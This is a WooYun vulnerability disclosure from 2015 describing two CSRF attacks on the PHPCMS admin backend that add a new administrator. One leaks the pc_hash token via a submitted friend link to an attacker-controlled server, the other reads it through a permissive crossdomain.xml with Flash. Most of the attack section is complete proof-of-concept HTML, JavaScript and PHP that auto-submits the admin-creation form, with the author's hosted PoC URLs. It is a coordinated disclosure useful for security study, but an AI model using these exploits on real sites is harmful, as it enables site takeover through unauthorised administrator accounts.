当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124878

漏洞标题:PHPCMS后台CSRF加管理两种方法POC

相关厂商:phpcms

漏洞作者: phith0n

提交时间:2015-07-06 16:14

修复时间:2015-10-09 04:28

公开时间:2015-10-09 04:28

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-06: 细节已通知厂商并且等待厂商处理中
2015-07-11: 厂商已经确认,细节仅向厂商公开
2015-07-14: 细节向第三方安全合作伙伴开放
2015-09-04: 细节向核心白帽子及相关领域专家公开
2015-09-14: 细节向普通白帽子公开
2015-09-24: 细节向实习白帽子公开
2015-10-09: 细节向公众公开

简要描述:

TSRC西安沙龙议题之PHPCMS。(非重复漏洞,这个洞两种方式均不利用referer)

详细说明:

之前多个漏洞,其实都是利用了Referer,如最新这个:http://wooyun.org/bugs/wooyun-2015-098434
其实我们可以不利用Referer,能更简单获取pc_hash,并进行CSRF攻击。
法一
先管理员登录后台,来到随意一个功能页面,右键查看框架的源代码,其中有这么一段javascript:

window.focus();
var pc_hash = 'loP6gO';
window.onload = function(){
var html_a = document.getElementsByTagName('a');
var num = html_a.length;
for(var i=0;i<num;i++) {
var href = html_a[i].href;
if(href && href.indexOf('javascript:') == -1) {
if(href.indexOf('?') != -1) {
html_a[i].href = href+'&pc_hash='+pc_hash;
} else {
html_a[i].href = href+'?pc_hash='+pc_hash;
}
}
}
var html_form = document.forms;
var num = html_form.length;
for(var i=0;i<num;i++) {
var newNode = document.createElement("input");
newNode.name = 'pc_hash';
newNode.type = 'hidden';
newNode.value = pc_hash;
html_form[i].appendChild(newNode);
}
}


查找页面中所有超链接(a),如果不是“javascript:”开头的话,就添加pc_hash在url最后。
并没有判断这个链接是否是站内链接!
所以,如果我提交一个友情链接地址,也会被加上pc_hash,等于说pc_hash被加在我的url后面,我的服务器可以获取之!
来测试。首先前台提交一个友情链接:

QQ20150703-5@2x.png


地址是我的POC(http://mhz.pw/game/tx/phpcms.php),内容如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>phpcms csrf 加管理</title>
<script type="text/javascript">
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
var timestamp = (Date.parse(new Date())) / 1000;
gum.post('http://web.com/phpcms/index.php?m=admin&c=admin_manage&a=add', {
'info[username]': 'test_' + timestamp,
'info[password]': '123123',
'info[pwdconfirm]': '123123',
'info[email]': '[email protected]',
'info[realname]': '',
'info[roleid]': '1',
'dosubmit': '提交',
'pc_hash': '<?php echo $_GET['pc_hash']; ?>'
});
</script>
</head>
<body>
</body>
</html>


然后管理员在后台审核友情链接处即可看到:

QQ20150704-1@2x.png


如上图,phpcms直接将pc_hash加入了我的链接后面。所以管理员点击链接后我即可接收到pc_hash,进而进行CSRF攻击。
上述POC,在管理员点击后,会给目标站创建一个用户名为test_+时间戳,密码是123123的管理员:

QQ20150703-6@2x.png


法二
与discuz类似,phpcms在默认安装完成后也没有修改crossdomain.xml,典型例子就是其官网
http://www.phpcms.cn/crossdomain.xml ,和官方演示站:http://v9.demo.phpcms.cn/crossdomain.xml

QQ20150706-12@2x.png


那么我就可以通过flash直接获取其pc_hash。
蚁逅平台做演示:

QQ20150706-13@2x.png


构造POC,自动添加管理员:http://mhz.pw/game/tx/phpcms1.php?domain=localphpcms.com
domain是目标域名。

<?php
$domain = isset($_GET['domain']) ? htmlspecialchars($_GET['domain'], ENT_COMPAT | ENT_HTML401 | ENT_QUOTES) : exit("no domain");
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>phpcms csrf 加管理</title>
</head>
<body>
<p>phpcms flash跨域 csrf 加管理</p>
<object style="height:1px;width:1px;" data="c00y.swf" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="callback=getdata&url=http%3A%2F%2F<?php echo $domain; ?>%2Findex.php%3Fm%3Dadmin%26c%3Dindex"></object>
<script type="text/javascript">
function send(pc_hash){
gum = function(){
var u = {
'version':'1140213',
'domain':'{{domain}}',
'backinfo':{},
'author': 'https://github.com/quininer/gum'
};
u.e = function(code){try{return eval(code)}catch(e){return ''}};
u.name = function(names){
return document.getElementsByTagName(names);
};
u.html = function(){
return u.name('html')[0]
||document.write('<html>')
||u.name('html')[0];
};
u.addom = function(html, doming, hide){
(!doming)&&(doming = u.html());
var temp = document.createElement('span');
temp.innerHTML = html;
var doms = temp.children[0];
(hide)&&(doms.style.display = 'none');
doming.appendChild(doms);
return doms;
};
u.post = function(url, data){
var form = u.addom("<form method='POST'>", u.html(), true);
form.action = url;
for(var name in data){
var input = document.createElement('input');
input.name = name;
input.value = data[name];
form.appendChild(input);
};
form.submit();
};
return u;
}();
var timestamp = (Date.parse(new Date())) / 1000;
gum.post('http://<?php echo $domain; ?>/index.php?m=admin&c=admin_manage&a=add', {
'info[username]': 'test_' + timestamp,
'info[password]': '123123',
'info[pwdconfirm]': '123123',
'info[email]': '[email protected]',
'info[realname]': '',
'info[roleid]': '1',
'dosubmit': '提交',
'pc_hash': pc_hash
});
}
function getdata(html)
{
var ret = html.match(/pc_hash=([a-zA-Z0-9]{6})/);
if(ret.length < 2) return false;
var pc_hash = ret[1];
//alert(formhash);
send(pc_hash);
}
</script>
</body>
</html>


localphpcms.com的管理员访问以上POC即可添加一个管理。
不多解释了。
两种方法,均可CSRF加管理。

漏洞证明:

见上面

修复方案:

不好说。。。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-07-11 04:28

厂商回复:

感谢

最新状态:

暂无